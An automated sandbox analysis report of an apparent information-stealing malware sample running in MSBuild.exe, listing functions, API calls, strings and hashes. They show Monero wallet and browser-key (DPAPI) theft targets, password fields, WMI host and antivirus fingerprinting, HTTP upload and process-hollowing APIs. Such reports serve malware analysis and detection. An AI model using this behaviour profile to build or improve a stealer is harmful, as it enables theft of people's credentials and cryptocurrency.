Opcode ID: 63500b277e5d8c6ba40ed9413d1edfa83572fad66260e383529a6b6b95d2c298
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: 63500b277e5d8c6ba40ed9413d1edfa83572fad66260e383529a6b6b95d2c298
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 004170D0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE
OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

sA, xrefs: 00417111
sA, xrefs: 004172AE, 00417179, 0041717C
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcessmemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 1606381396-2614523144
Opcode ID: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004138B0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 250COMMON

Download Yara Rule

Strings

%s\*, xrefs: 004138C0
%s%s, xrefs: 00413AAD
%s\%s, xrefs: 00413A6F
%s\%s, xrefs: 0041397A
!=A, xrefs: 00413C82, 00413C45, 00413B69, 00413909, 00413B6C, 00413C48
%s\%s\%s, xrefs: 00413A4A

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: !=A$%s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 0-817767981
Opcode ID: c3ad0e5f37a6afd264e19c98f003c489031be70fef7a74d9d5741692706db697
Instruction ID: 6b32dcbabd2ae606338a05af88a65253e6d0136fcb4401239c8972690a9ca057
Opcode Fuzzy Hash: c3ad0e5f37a6afd264e19c98f003c489031be70fef7a74d9d5741692706db697
Instruction Fuzzy Hash: 45A182B5A40218ABDB20DFA4DC85FEA7379BF45301F04458DB50D96181EB789B84CF66

Function 0041D4AA Relevance: 12.1, APIs: 8, Instructions: 147COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?), ref: 0041D545
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?), ref: 0041D57E
__freea.LIBCMT ref: 0041D616

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$__freea
String ID:
API String ID: 172395558-0
Opcode ID: 427de3b42f142a0fcf9f448a772e2f9cd84e50e96f74c89131f4a6800137c743
Instruction ID: c2788855f3ea7422210f62d3390392cb88a81c4aff9d4bc9df644cff8f580fc6
Opcode Fuzzy Hash: 427de3b42f142a0fcf9f448a772e2f9cd84e50e96f74c89131f4a6800137c743
Instruction Fuzzy Hash: 7E4190B2D0000ABFDF118F90CC819EF7B77EB88358B14442BF515A6160C73989A1EB58

Function 00405960 Relevance: 11.0, APIs: 2, Strings: 5, Instructions: 493COMMON

Download Yara Rule

APIs

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
memcpy.MSVCRT(?), ref: 00405EFE

Strings

------, xrefs: 00405C0B
------, xrefs: 00405A96
", xrefs: 00405E16
------, xrefs: 00405D4C
", xrefs: 00405CD5

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$memcpy$CrackInternet
String ID: "$"$------$------$------
API String ID: 4271525049-2180234286
Opcode ID: 4205a6c64491eede6f2c0190817c01b6d1188d899bee5cc8d5380a99dbe7c93c
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: 4205a6c64491eede6f2c0190817c01b6d1188d899bee5cc8d5380a99dbe7c93c
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 00409E10 Relevance: 10.7, APIs: 3, Strings: 4, Instructions: 167COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

Part of subcall function 00410A60: memset.MSVCRT ref: 00410C1C
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C35
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
Part of subcall function 00410A60: lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F

memcmp.MSVCRT(?,v10,00000003), ref: 00409EAF
memset.MSVCRT ref: 00409EE8

Strings

v20, xrefs: 00409E21
ERROR_RUN_EXTRACTOR, xrefs: 00409E67
@, xrefs: 00409EF1
v10, xrefs: 00409EA3

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$memcmpmemset
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 1976689032-1096346117
Opcode ID: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction ID: cfc602575c7eb8b90e75612a825b183f0a0020e5ceb1952e76b28d7f8d83ce04
Opcode Fuzzy Hash: cf3bd8b6a91d7380b4fcfdc4a2eaf8d3038d72e2fe7c69aa23c32b41aba9b41f
Instruction Fuzzy Hash: C9615F30A00248EBCB24EFA5DD96FED7775AF44304F408029F90A6F1D1DB786A56CB5A

Function 00401310 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 139COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327
memset.MSVCRT ref: 00401516

Strings

.keys, xrefs: 0040136B
wallet_path, xrefs: 00401330
SOFTWARE\monero-project\monero-core, xrefs: 00401335
\Monero\wallet.keys, xrefs: 0040138D

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memset
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2221118986-218353709
Opcode ID: cf61a2f323856c46ff2e2e2879a4bb7527e8331aca03d31e6698724a443a2e3c
Instruction ID: 2d64d6a561879fca44fb71c04a0a84c7ebf7a9ed2d970630d286a4d87e6dc5bb
Opcode Fuzzy Hash: cf61a2f323856c46ff2e2e2879a4bb7527e8331aca03d31e6698724a443a2e3c
Instruction Fuzzy Hash: 955165B1D5011897CB15FB61DD91FED733CAF54304F4041ADB60A62092EE385BDACBAA

Function 004152C0 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000,00420DFB), ref: 004062E1
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

strtok.MSVCRT(00000000,?), ref: 0041539E

Strings

ERROR, xrefs: 004153B9
ERROR, xrefs: 00415432
ERROR, xrefs: 004154A9
ERROR, xrefs: 0041530A
ERROR, xrefs: 0041546F

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$ConnectHttpOpenRequestSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 632984754-1526165396
Opcode ID: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction ID: 2e955e57ea7f1c083e6e45f715f374ff83ee784ca3e0e9be4ff8c8b21657e330
Opcode Fuzzy Hash: 4a2ea036609cd15b672270c35ab07a18dfd7f62b3a06473966441f12aab465d2
Instruction Fuzzy Hash: 1A514130911108EBCB14FF61CD92AED7779AF50358F50402EF80A6B591DF386B96CB6A

Function 0041B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B39A

Part of subcall function 0041AFAC: __mtinitlocknum.LIBCMT ref: 0041AFC2
Part of subcall function 0041AFAC: __amsg_exit.LIBCMT ref: 0041AFCE
Part of subcall function 0041AFAC: EnterCriticalSection.KERNEL32(?,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041AFD6

DecodePointer.KERNEL32(0042A120,00000020,0041B4DD,?,00000001,00000000,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E), ref: 0041B3D6
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041B3E7

Part of subcall function 0041BE35: EncodePointer.KERNEL32(00000000,0041C063,004495B8,00000314,00000000,?,?,?,?,?,0041B707,004495B8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041BE37

DecodePointer.KERNEL32(-00000004,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041B40D
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041B420
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041B42A

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 0b0bc3cab5f7049983f26cd80e00dd0aa4f75dbf31a2a29bc74296bdc4549019
Instruction ID: 13f01492c0df899e955246e6d1acdef18d299a0ed6057d30a0a2a93d2b0efa88
Opcode Fuzzy Hash: 0b0bc3cab5f7049983f26cd80e00dd0aa4f75dbf31a2a29bc74296bdc4549019
Instruction Fuzzy Hash: D6312874901349DFDF109FA9C9452DEBAF1FF48314F14802BE414A6262CBB94895DFAE

Function 0041C9DE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C9EA

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__amsg_exit.LIBCMT ref: 0041CA0A
__lock.LIBCMT ref: 0041CA1A
InterlockedDecrement.KERNEL32(?), ref: 0041CA37
free.MSVCRT ref: 0041CA4A
InterlockedIncrement.KERNEL32(0042B558), ref: 0041CA62

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 8fe1d07e46c7f7a05b9aade772f191e19f6fe2cab31bcbc29ba7bdc60f9379df
Instruction ID: 83df0cd24f2ef528265bdd767f82c36d0b02d0b672a998c6c347af455cc5eb0e
Opcode Fuzzy Hash: 8fe1d07e46c7f7a05b9aade772f191e19f6fe2cab31bcbc29ba7bdc60f9379df
Instruction Fuzzy Hash: DF01C431A817299BC722EB669C857DE77A0BF04794F01811BE80467390C72C69D2CBDD

Function 00416F00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00416F1F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041719A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 00416F4D

Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416BE1
Part of subcall function 00416BD0: strlen.MSVCRT ref: 00416C05

VirtualQueryEx.KERNEL32(?,00000000,?,0000001C), ref: 00416F92
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041719A), ref: 004170B3

Part of subcall function 00416DE0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416DF8

Strings

@, xrefs: 00416FA6

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction ID: da6ee04ed372484ea639f8c5ae6d2cf8ded6d6947598eb42fecba3fc0a9bdd2e
Opcode Fuzzy Hash: 0d89010186691ec5492239175b82a1a91f8bc2a2393b87c9978cf9f8736f9be8
Instruction Fuzzy Hash: 27511CB5E041099BDB04CF98D981AEFBBB5FF88304F108559F919A7340D738EA51CBA5

Function 0041C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__lock.LIBCMT ref: 0041C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 3d7c1e79db36087730c99ab0a6624c72b46b4ffdd1162626bf4921dca9482436
Instruction ID: 8b8854a621eee9d40ba0401ebc9f05e8605540fb6beb74f1d93a4957509c98f2
Opcode Fuzzy Hash: 3d7c1e79db36087730c99ab0a6624c72b46b4ffdd1162626bf4921dca9482436
Instruction Fuzzy Hash: 1AF09632A817119BD7207BB95C867DE33A09F00728F24414FF414A62D2CBAC59D28E9E

Function 00409CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6

Strings

, xrefs: 00409DC1
"encrypted_key":", xrefs: 00409D30
DPAPI, xrefs: 00409D89

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 1784268899-738592651
Opcode ID: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 0041D6AF Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041D716
GetStringTypeW.KERNEL32(?,?,00000000,?,?,00000000), ref: 0041D739
__freea.LIBCMT ref: 0041D743

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: StringType__freeamemset
String ID:
API String ID: 3702041549-0
Opcode ID: 4d7b318312fff4d58e2f3aa52261d6423c37ded0f3a6e4e0a6da700eeb52f17a
Instruction ID: efb7c7a0e54daaba30d556c928359019750aa0aa7bd980d239ef51af7167d665
Opcode Fuzzy Hash: 4d7b318312fff4d58e2f3aa52261d6423c37ded0f3a6e4e0a6da700eeb52f17a
Instruction Fuzzy Hash: E511D3B1A0020AAEDF119FA4DCC19FF3B69EB05354F240027F915D62D1D738DDA48A68

Function 004117A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004117E8
strtok_s.MSVCRT ref: 004119A8

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: block
API String ID: 3330995566-2199623458
Opcode ID: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction ID: 00bb13bb87ecd4f31d5cbb7361e66ee12f2c4d363b15aa8138e6c51e0cba8311
Opcode Fuzzy Hash: 04f02f922f7740013fe83ed2a8f854d15328f230cbde421a22dc870209397cee
Instruction Fuzzy Hash: AC517DB4A10209EFCB04DFA1D954BFE77B6BF44304F10804AE516A7361D778E992CB6A

Function 004072D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
task.LIBCPMTD ref: 00407555

Part of subcall function 00409240: vsprintf_s.MSVCRT ref: 0040925B

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 0000000A.00000002.1912654684.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: memsettaskvsprintf_s
String ID: Password
API String ID: 2675463923-3434357891
Opcode ID: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5be579466c40cef3c45c052574d28d43fb537906c51874de2e9a9a2bc2377bc3
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Analysis Process: MSBuild.exePID: 5924, Parent PID: 5752COMMON

Execution Graph

Execution Coverage:	12.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.1%
Total number of Nodes:	1117
Total number of Limit Nodes:	27

Executed Functions

Function 00418A63 Relevance: 30.3, APIs: 6, Strings: 11, Instructions: 518
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(004173DA), ref: 00418EE8
LoadLibraryA.KERNEL32 ref: 00418F0A
LoadLibraryA.KERNEL32 ref: 00418F1B
LoadLibraryA.KERNEL32 ref: 00418F4E
LoadLibraryA.KERNEL32 ref: 00418F5F
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418F6F

Strings

dbghelp.dll, xrefs: 00418F65
SymMatchString, xrefs: 0041953C
WriteProcessMemory, xrefs: 00418EB1
CreateProcessA, xrefs: 00418E43
GetThreadContext, xrefs: 00418E59
ResumeThread, xrefs: 00418E9B
InternetSetOptionA, xrefs: 0041943D
HttpQueryInfoA, xrefs: 00419427
SetThreadContext, xrefs: 00418EC7
ReadProcessMemory, xrefs: 00418E6F
VirtualAllocEx, xrefs: 00418E85

Memory Dump Source

Source File: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 1029625771-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: 8ba0d5c8ae2e13c06544b1593b83c2cece409b0c910b42dbc8887f4207037caa
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: C752F475910312AFEF1ADFA0FD088243BA7F718707F11A466E91582270E73B4A64EF19

Function 00411807 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 143
comtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0041180E
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411757: __EH_prolog3_catch.LIBCMT ref: 0041175E
Part of subcall function 00411757: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B018,?,00000018,00411901,?), ref: 00411781
Part of subcall function 00411757: SysAllocString.OLEAUT32(?), ref: 0041178E
Part of subcall function 00411757: _wtoi64.MSVCRT ref: 004117C1
Part of subcall function 00411757: SysFreeString.OLEAUT32(?), ref: 004117DA
Part of subcall function 00411757: SysFreeString.OLEAUT32(00000000), ref: 004117E1

FileTimeToSystemTime.KERNEL32(?,?), ref: 0041190A
VariantClear.OLEAUT32(?), ref: 0041195C

Strings

Unknown, xrefs: 00411985
%d/%d/%d %d:%d:%d, xrefs: 00411943
InstallDate, xrefs: 004118ED
Unknown, xrefs: 0041196A
Select * From Win32_OperatingSystem, xrefs: 00411895
ROOT\CIMV2, xrefs: 00411862
Unknown, xrefs: 00411971
WQL, xrefs: 0041189A

Memory Dump Source

Source File: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$CreateFreeInitializeInstanceTimeVariant$AllocBlanketClearFileH_prolog3_catchH_prolog3_catch_InitProxySecuritySystem_wtoi64
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2027821108-461178377
Opcode ID: 4a998e0831886b93ed92c0276ff9e06964fee6d6e5f1487c865c121be33c5c48
Instruction ID: 99ef6883476e7e72b4c9cbd85dd5ecdaeb76e40d083b236b73c3eff291e47a74
Opcode Fuzzy Hash: 4a998e0831886b93ed92c0276ff9e06964fee6d6e5f1487c865c121be33c5c48
Instruction Fuzzy Hash: 49416C71940209BBCB10DBD5DC89EEFBBBDEB89B11F20411AF611A6190D6799941CB38

Function 00411997 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch.LIBCMT ref: 0041199E
CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
VariantInit.OLEAUT32(?), ref: 00411A5D
VariantClear.OLEAUT32(?), ref: 00411A8B

Strings

Select * From AntiVirusProduct, xrefs: 00411A23
displayName, xrefs: 00411A6F
Unknown, xrefs: 00411AB4
WQL, xrefs: 00411A28
Unknown, xrefs: 00411A99
root\SecurityCenter2, xrefs: 004119F0
Unknown, xrefs: 00411AA0

Memory Dump Source

Source File: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitializeVariant$BlanketClearCreateH_prolog3_catchInitInstanceProxySecurity
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 3060130021-315474579
Opcode ID: 4442dc1975a9fab6dcc5a7b23437fd681a9a23585e5f68a612e680f3410bdaea
Instruction ID: a052c58cf411f7e98e6331d271807bd97e667b65bf600afed1fc3e3d3cff73f9
Opcode Fuzzy Hash: 4442dc1975a9fab6dcc5a7b23437fd681a9a23585e5f68a612e680f3410bdaea
Instruction Fuzzy Hash: 90314F70A04245BBCB20DB91DC49EEFBF7CEFC9B10F20465AF611A61A0C6B85941CB68

Function 00401284 Relevance: 24.1, APIs: 16, Instructions: 120
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004012A7
_memset.LIBCMT ref: 004012B6
lstrcatA.KERNEL32(?,0043AAA4), ref: 004012D0
lstrcatA.KERNEL32(?,0043AAA8), ref: 004012DE
lstrcatA.KERNEL32(?,0043AAAC), ref: 004012EC
lstrcatA.KERNEL32(?,0043AAB0), ref: 004012FA
lstrcatA.KERNEL32(?,0043AAB4), ref: 00401308
lstrcatA.KERNEL32(?,0043AAB8), ref: 00401316
lstrcatA.KERNEL32(?,0043AABC), ref: 00401324
lstrcatA.KERNEL32(?,0043AAC0), ref: 00401332
lstrcatA.KERNEL32(?,0043AAC4), ref: 00401340
lstrcatA.KERNEL32(?,0043AAC8), ref: 0040134E
lstrcatA.KERNEL32(?,0043AACC), ref: 0040135C
lstrcatA.KERNEL32(?,0043AAD0), ref: 0040136A
lstrcatA.KERNEL32(?,0043AAD4), ref: 00401378

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: HeapAlloc.KERNEL32(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

ExitProcess.KERNEL32 ref: 004013E3

Memory Dump Source

Source File: 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

